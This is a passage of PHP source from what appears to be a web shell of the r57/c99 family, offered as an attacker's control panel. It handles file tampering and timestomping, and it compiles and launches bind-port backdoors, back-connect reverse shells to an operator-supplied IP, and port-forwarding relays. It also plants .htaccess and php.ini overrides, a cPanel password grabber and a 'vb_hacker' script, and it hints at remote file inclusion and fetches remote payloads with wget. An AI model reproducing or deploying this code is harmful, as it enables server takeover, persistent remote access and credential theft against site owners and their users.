3771                     switch ($_POST['what']) {
3772                         case 'own':
3773                             @chown($_POST['param1'], $_POST['param2']);
3774                         break;
3775                         case 'grp':
3776                             @chgrp($_POST['param1'], $_POST['param2']);
3777                         break;
3778                         case 'mod':
3779                             @chmod($_POST['param1'], intval($_POST['param2'], 8));
3780                         break;
3781                     }
3782                     $_POST['cmd'] = "";
3783                 }
3784                 if (!empty($_POST['cmd']) && $_POST['cmd'] == "mk") {
3785                     switch ($_POST['what']) {
3786                         case 'file':
3787                             if ($_POST['action'] == "create") {
3788                                 if (@file_exists($_POST['mk_name']) || !morewrite($_POST['mk_name'], 'your text here')) {
3789                                     err(2, $_POST['mk_name']);
3790                                     $_POST['cmd'] = "";
3791                                 } else {
3792                                     $_POST['e_name'] = $_POST['mk_name'];
3793                                     $_POST['cmd'] = "edit_file";
3794                                     echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>" . $lang[$language . '_text61'] . "</b></font></div></td></tr></table>";
3795                                 }
3796                             } else if ($_POST['action'] == "delete") {
3797                                 if (@unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>" . $lang[$language . '_text63'] . "</b></font></div></td></tr></table>";
3798                                 $_POST['cmd'] = "";
3799                             }
3800                             break;
3801                         case 'dir':
3802                             if ($_POST['action'] == "create") {
3803                                 if (@mkdir($_POST['mk_name'])) {
3804                                     $_POST['cmd'] = "";
3805                                     echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>" . $lang[$language . '_text62'] . "</b></font></div></td></tr></table>";
3806                                 } else {
3807                                     err(2, $_POST['mk_name']);
3808                                     $_POST['cmd'] = "";
3809                                 }
3810                             } else if ($_POST['action'] == "delete") {
3811                                 if (@rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>" . $lang[$language . '_text64'] . "</b></font></div></td></tr></table>";
3812                                 $_POST['cmd'] = "";
3813                             }
3814                             break;
3815                         }
3816                     }
3817                     if (!empty($_POST['cmd']) && $_POST['cmd'] == "touch") {
3818                         if (!$_POST['file_name_r']) {
3819                             $datar = $_POST['day'] . " " . $_POST['month'] . " " . $_POST['year'] . " " . $_POST['chasi'] . " hours " . $_POST['minutes'] . " minutes " . $_POST['second'] . " seconds";
3820                             $datar = @strtotime($datar);
3821                             @touch($_POST['file_name'], $datar, $datar);
3822                         } else {
3823                             @touch($_POST['file_name'], @filemtime($_POST['file_name_r']), @filemtime($_POST['file_name_r']));
3824                         }
3825                         $_POST['cmd'] = "";
3826                     }
3827                     if (!empty($_POST['cmd']) && $_POST['cmd'] == "edit_file" && !empty($_POST['e_name'])) {
3828                         if (@is_dir($_POST['e_name'])) {
3829                             err(1, $_POST['e_name']);
3830                             $_POST['cmd'] = "";
3831                         } elseif ($file = moreread($_POST['e_name'])) {
3832                             $filedump = $file;
3833                             if (!@is_writable($_POST['e_name'])) {
3834                                 $only_read = 1;
3835                             };
3836                         } elseif ($file = readzlib($_POST['e_name'])) {
3837                             $filedump = $file;
3838                             $only_read = 1;
3839                         } elseif (@file_exists($_POST['e_name'])) {
3840                             $filedump = 'NONE';
3841                             if (!@is_writable($_POST['e_name'])) {
3842                                 $only_read = 1;
3843                             };
3844                         } else {
3845                             err(1, $_POST['e_name']);
3846                             $_POST['cmd'] = "";
3847                         }
3848                         if (!empty($_POST['cmd'])) {
3849                             echo $table_up3;
3850                             echo $font;
3851                             echo "<form name=save_file method=post>";
3852                             echo ws(3) . "<b>" . $_POST['e_name'] . "</b>";
3853                             echo "<div align=center><textarea name=e_text cols=121 rows=24>";
3854                             echo @htmlspecialchars($filedump);
3855                             echo "</textarea>";
3856                             echo "<input type=hidden name=e_name value='" . $_POST['e_name'] . "'>";
3857                             echo "<input type=hidden name=dir value='" . $dir . "'>";
3858                             echo "<input type=hidden name=cmd value=save_file>";
3859                             echo (!empty($only_read) ? ("<br><br>" . $lang[$language . '_text44']) : ("<br><br><input type=submit name=submit value=\" " . $lang[$language . '_butt10'] . " \">"));
3860                             echo "</div>";
3861                             echo "</font>";
3862                             echo "</form>";
3863                             echo "</td></tr></table>";
3864                             exit();
3865                         }
3866                     }
3867                     if (!empty($_POST['cmd']) && $_POST['cmd'] == "save_file") {
3868                         $mtime = @filemtime($_POST['e_name']);
3869                         if (!@is_writable($_POST['e_name'])) {
3870                             err(0, $_POST['e_name']);
3871                         } else {
3872                             if ($unix) $_POST['e_text'] = @str_replace("\r\n", "\n", $_POST['e_text']);
3873                             morewrite($_POST['e_name'], $_POST['e_text']);
3874                             $_POST['cmd'] = "";
3875                             echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>" . $lang[$language . '_text45'] . "</b></font></div></td></tr></table>";
3876                         }
3877                         @touch($_POST['e_name'], $mtime, $mtime);
3878                     }
3879                     if (!empty($_POST['proxy_port']) && ($_POST['use'] == "Perl")) {
3880                         cf($tempdir . 'prxpl', $prx_pl);
3881                         $p2 = which("perl");
3882                         $blah = ex($p2 . ' ' . $tempdir . 'prxpl ' . $_POST['proxy_port'] . ' &');
3883                         @unlink($tempdir . 'prxpl');
3884                         $_POST['cmd'] = "ps -aux | grep prxpl";
3885                     }
3886                     if (!empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == "C")) {
3887                         cf($tempdir . 'bd.c', $port_bind_bd_c);
3888                         $blah = ex('gcc -o ' . $tempdir . 'bd ' . $tempdir . 'bd.c');
3889                         @unlink($tempdir . 'bd.c');
3890                         $blah = ex($tempdir . 'bd ' . $_POST['port'] . ' ' . $_POST['bind_pass'] . ' &');
3891                         @unlink($tempdir . 'bd');
3892                         $_POST['cmd'] = "ps -aux | grep bd";
3893                     }
3894                     if (!empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == "Perl")) {
3895                         cf($tempdir . 'bdpl', $port_bind_bd_pl);
3896                         $p2 = which("perl");
3897                         $blah = ex($p2 . ' ' . $tempdir . 'bdpl ' . $_POST['port'] . ' &');
3898                         @unlink($tempdir . 'bdpl');
3899                         $_POST['cmd'] = "ps -aux | grep bdpl";
3900                     }
3901                     if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use'] == "Perl")) {
3902                         cf($tempdir . 'back', $back_connect);
3903                         $p2 = which("perl");
3904                         $blah = ex($p2 . ' ' . $tempdir . 'back ' . $_POST['ip'] . ' ' . $_POST['port'] . ' &');
3905                         @unlink($tempdir . 'back');
3906                         $_POST['cmd'] = "echo \"Now script try connect to " . $_POST['ip'] . " port " . $_POST['port'] . " ...\"";
3907                     }
3908                     if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use'] == "C")) {
3909                         cf($tempdir . 'back.c', $back_connect_c);
3910                         $blah = ex('gcc -o ' . $tempdir . 'backc ' . $tempdir . 'back.c');
3911                         @unlink($tempdir . 'back.c');
3912                         $blah = ex($tempdir . 'backc ' . $_POST['ip'] . ' ' . $_POST['port'] . ' &');
3913                         @unlink($tempdir . 'back');
3914                         $_POST['cmd'] = "echo \"Now script try connect to " . $_POST['ip'] . " port " . $_POST['port'] . " ...\"";
3915                     }
3916                     if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use'] == "Perl")) {
3917                         cf($tempdir . 'dp', $datapipe_pl);
3918                         $p2 = which("perl");
3919                         $blah = ex($p2 . ' ' . $tempdir . 'dp ' . $_POST['local_port'] . ' ' . $_POST['remote_host'] . ' ' . $_POST['remote_port'] . ' &');
3920                         @unlink($tempdir . 'dp');
3921                         $_POST['cmd'] = "ps -aux | grep dp";
3922                     }
3923                     if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use'] == "C")) {
3924                         cf($tempdir . 'dpc.c', $datapipe_c);
3925                         $blah = ex('gcc -o ' . $tempdir . 'dpc ' . $tempdir . 'dpc.c');
3926                         @unlink($tempdir . 'dpc.c');
3927                         $blah = ex($tempdir . 'dpc ' . $_POST['local_port'] . ' ' . $_POST['remote_port'] . ' ' . $_POST['remote_host'] . ' &');
3928                         @unlink($tempdir . 'dpc');
3929                         $_POST['cmd'] = "ps -aux | grep dpc";
3930                     }
3931                     if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) {
3932                         $_POST['cmd'] = $aliases[$_POST['alias']];
3933                     }
3934                     for ($upl = 0;$upl <= 16;$upl++) {
3935                         if (!empty($HTTP_POST_FILES['userfile' . $upl]['name'])) {
3936                             if (!empty($_POST['new_name']) && ($upl == 0)) {
3937                                 $nfn = $_POST['new_name'];
3938                             } else {
3939                                 $nfn = $HTTP_POST_FILES['userfile' . $upl]['name'];
3940                             }
3941                             @move_uploaded_file($HTTP_POST_FILES['userfile' . $upl]['tmp_name'], $_POST['dir'] . "/" . $nfn) or print ("<font color=red face=Fixedsys><div align=center>Error uploading file " . $HTTP_POST_FILES['userfile' . $upl]['name'] . "</div></font>");
3942                         }
3943                     }
3944                     if (!empty($_POST['port1'])) {
3945                         cf("bds", $port_bind_bd_cs);
3946                         $blah = ex("chmod 777 bds");
3947                         $blah = ex("./bds " . $_POST['port1'] . " &");
3948                         $_POST['cmd'] = "echo \"Now script install backdoor connect to port ";
3949                     } else {
3950                         cf("/tmp/bds", $port_bind_bd_cs);
3951                         $blah = ex("chmod 777 bds");
3952                     }
3953                     if (!empty($_POST['php_ini1'])) {
3954                         cf("php.ini", $egy_ini);
3955                         $_POST['cmd'] = " now  make incloude for file ini.php and add ss and your shell";
3956                     }
3957                     if (!empty($_POST['htacces'])) {
3958                         cf(".htaccess", $htacces);
3959                         $_POST['cmd'] = "now .htaccess has been add";
3960                     }
3961                     if (!empty($_POST['egy_res'])) {
3962                         cf(".ini.php", $egy_res);
3963                         $_POST['cmd'] = "now .htaccess has been add";
3964                     }
3965                     if (!empty($_POST['egy_ini'])) {
3966                         cf("ini.php", $egy_ini);
3967                         $_POST['cmd'] = " http://target.com/ini.php?egy=http://shell.txt? add ss ini.php now  make incloude for file ini.php and add egy and your shell";
3968                     }
3969                     if (!empty($_POST['egy_cp'])) {
3970                         cf("pass_cpanel.php", $egy_cp);
3971                         $_POST['cmd'] = "cpanel add";
3972                     }
3973                     if (!empty($_POST['egy_vb'])) {
3974                         cf("vb_hacker.php", $egy_vb);
3975                         $_POST['cmd'] = "Added Following Files .htaccess & ini.php & vb_hacker.php & pass_cpanel.php ";
3976                     }
3977                     if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) {
3978                         $_POST['cmd'] = $aliases[$_POST['alias']];
3979                     }
3980                     for ($upl = 0;$upl <= 16;$upl++) {
3981                     }
3982                     if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) {
3983                         switch ($_POST['with']) {
3984                             case 'fopen':
3985                                 $datafile = @implode("", @file($_POST['rem_file']));
3986                                 if ($datafile) {
3987                                     if (!morewrite($_POST['loc_file'], $datafile)) {
3988                                         err(0);
3989                                     };
3990                                 }
3991                                 $_POST['cmd'] = '';
3992                             break;
3993                             case 'wget':
3994                                 $_POST['cmd'] = which('wget') . " \"" . $_POST['rem_file'] . "\" -O \"" . $_POST['loc_file'] . "\"";
3995                             break;
3996                             case 'fetch':
3997                                 $_POST['cmd'] = which('fetch') . " -p \"" . $_POST['rem_file'] . "\" -o \"" . $_POST['loc_file'] . "\"";
3998                             break;